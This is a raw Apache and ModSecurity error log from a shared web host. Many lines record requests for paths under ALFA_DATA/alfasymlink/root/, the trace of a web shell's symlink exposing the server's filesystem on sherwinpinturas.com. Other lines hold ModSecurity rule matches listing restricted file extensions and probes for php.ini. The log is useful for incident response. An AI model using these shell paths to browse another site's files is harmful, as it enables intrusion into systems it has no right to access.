[Mon Oct 26 18:08:02.178006 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.205.113.104:36081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:06.817502 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 98.82.66.172:14723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:10.155969 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.205.170.13:40104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:14.252686 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.91.122.193:64836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:18.131398 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.82.38.120:62227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:46.160132 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.147.238.89:32803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:08:50.293309 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 98.82.66.172:47515] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/uevent
[Mon Oct 26 18:09:10.383686 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.204.37.237:43621] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:09:14.171540 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 18.206.47.187:61208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/driver/uevent
[Mon Oct 26 18:09:38.142359 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.45.92.83:31522] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:09:42.191219 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.54.249.218:21523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:09:50.154161 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 184.73.239.35:49882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:03.410835 2026] [security2:error] [pid 3089355:tid 3089355] [client 185.191.171.12:19242] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon71.conf"] [unique_id "at_Pu2l9busrkyxI7OQXaQAAAAI"]
[Mon Oct 26 18:10:03.411179 2026] [security2:error] [pid 3089355:tid 3089355] [client 185.191.171.12:19242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon71.conf"] [unique_id "at_Pu2l9busrkyxI7OQXaQAAAAI"]
[Mon Oct 26 18:10:03.411536 2026] [security2:error] [pid 3089355:tid 3089355] [client 185.191.171.12:19242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon71.conf"] [unique_id "at_Pu2l9busrkyxI7OQXaQAAAAI"]
[Mon Oct 26 18:10:06.323370 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.84.147.79:63107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:14.452433 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.20.178.124:51359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:18.291321 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.222.190.107:64963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:19.513123 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.211:50022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/cache_dma
[Mon Oct 26 18:10:22.191586 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 50.16.216.166:13172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:34.420508 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.39.241:14806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:10:54.276544 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.205.222.214:10359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:11:06.153395 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.223.116.149:17123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:11:14.149876 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 100.27.153.9:52494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/iosf_mbi_pci/remove_id
[Mon Oct 26 18:11:18.190073 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.218.35.239:62316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:11:20.074464 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.188:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at_QCD77nSD73jfhp0aDLgAAAAc"]
[Mon Oct 26 18:11:20.074928 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.188:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at_QCD77nSD73jfhp0aDLgAAAAc"]
[Mon Oct 26 18:11:20.075240 2026] [security2:error] [pid 3100940:tid 3100940] [client 16.216.88.188:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at_QCD77nSD73jfhp0aDLgAAAAc"]
[Mon Oct 26 18:11:29.919068 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.202:30920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/gssproxy.pid
[Mon Oct 26 18:11:34.264800 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.152.163.42:10764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:11:49.719834 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.2:11588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/hwcache_align
[Mon Oct 26 18:11:50.131218 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.90.73.206:62127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:11:58.188621 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.207.47.227:27940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:12:18.196501 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.223.181.32:65283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:12:22.147761 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.205.163.103:48439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:12:30.246627 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 23.21.148.226:46695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:12:46.146978 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.239.197.197:4309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:01.087864 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_QYDS1e-yu7xYT1dr6iAAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:13:01.087947 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_QYDS1e-yu7xYT1dr6iAAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:13:06.243090 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 44.205.180.155:27005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/objects
[Mon Oct 26 18:13:10.265590 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.235.158.162:41165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:18.175813 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.83.8.142:7675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:22.467160 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 185.191.171.5:20332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:26.562745 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_QejS1e-yu7xYT1dr6igAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:13:26.562799 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_QejS1e-yu7xYT1dr6igAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:13:26.572621 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.156.248.117:6715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:34.158104 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.196.6.199:42023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:38.688989 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 185.191.171.15:14654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:42.297239 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.200.58.199:59382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:46.162234 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.47.24:24633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:54.185811 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 100.28.118.16:14956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:13:57.883667 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 85.208.96.202:42372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/poison
[Mon Oct 26 18:13:58.211485 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 18.205.127.11:28232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:14:06.194877 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.214.238.178:16987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:14:22.151450 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 52.54.15.103:19266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/remove
[Mon Oct 26 18:14:38.209948 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 184.73.47.24:9182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:14:42.206934 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.232.36.1:27230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:14:50.221145 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.60.17:38927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:14:54.886840 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.12:16424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/parameters/max_sets
[Mon Oct 26 18:14:58.238629 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.235.125.129:30000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:15:10.500434 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.250.48:64280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:15:22.340104 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.214.238.178:64895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:15:38.319773 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.147.182.90:28905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:15:38.450408 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.211:52268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/iptable_mangle/sections/__mcount_loc
[Mon Oct 26 18:15:54.284641 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 54.147.80.137:37237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:08/subsystem/drivers/ec/unbind
[Mon Oct 26 18:15:58.437511 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.210.204.255:51777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:02.480929 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.88.84.219:49421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:10.581958 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.29.63.24:39507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:14.314996 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.84.200.43:16115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:22.303038 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.229.164.203:12974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:26.307231 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.208.193.63:4884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:34.302270 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.66.172:11153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:16:42.353158 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 18.205.213.231:32395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:08/eject
[Mon Oct 26 18:16:48.041552 2026] [security2:error] [pid 3100940:tid 3100940] [client 43.153.113.127:54226] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_RUD77nSD73jfhp0aDPwAAAAc"]
[Mon Oct 26 18:16:48.042986 2026] [authz_core:error] [pid 3100940:tid 3100940] [client 43.153.113.127:54226] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 18:16:58.303206 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 50.16.248.61:8563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:02.506414 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 18.211.148.239:59206] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:14.668348 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 98.83.178.66:43200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:23.486087 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 54.83.56.1:16647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/module/drivers/virtio:virtio_balloon/uevent
[Mon Oct 26 18:17:26.361615 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.215.59.93:47146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:34.341347 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.88.84.219:18734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:38.507057 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 35.169.119.108:20806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:14/eject
[Mon Oct 26 18:17:42.387260 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.93.253.174:60814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:46.693200 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 94.183.174.99:47554] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 18:17:48.527485 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.86.59.155:42320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:17:50.409848 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.223.193.255:45018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:10.394584 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.223.134.5:53712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:13.743252 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 85.208.96.198:25544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:14.550940 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.197.114.76:40446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:18.819142 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 50.16.248.61:19446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:22.667019 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.215.235.20:20003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:26.600464 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.145.82.217:33236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:30.444098 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.147.182.90:14778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:31.184216 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.205:16150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/cache_dma
[Mon Oct 26 18:18:34.486758 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.219.81.66:42541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:44.477573 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.93.211.16:15103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:46.556463 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.82.59.253:63703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:50.561974 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.38.120:11544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:54.576337 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.203.111.15:47556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:58.568131 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.213.70.100:25494] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:18:58.568391 2026] [security2:error] [pid 3089355:tid 3089355] [client 18.213.70.100:25494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/adr"] [unique_id "at_R0ml9busrkyxI7OQXfAAAAAI"]
[Mon Oct 26 18:18:58.568448 2026] [security2:error] [pid 3089355:tid 3089355] [client 18.213.70.100:25494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/adr"] [unique_id "at_R0ml9busrkyxI7OQXfAAAAAI"]
[Mon Oct 26 18:19:06.566571 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.91.122.193:36526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:14.519091 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.29.160.53:11305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:15.906944 2026] [core:crit] [pid 3106856:tid 3106856] (13)Permission denied: [client 40.76.138.219:52938] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 18:19:19.416006 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.193.2.57:28819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:22.651164 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.170.205.140:14119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:26.514978 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.164.106.236:14702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:30.567664 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.82.66.172:12452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:34.535174 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.210.58.238:21328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:38.707810 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.233.24.238:58466] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:42.571183 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.89.90.224:57833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:19:54.751890 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 54.80.73.122:50839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:05.0/firmware_node/eject
[Mon Oct 26 18:19:56.843298 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.11:10578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/cpu_partial
[Mon Oct 26 18:20:06.645195 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 3.213.213.161:20113] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/bind
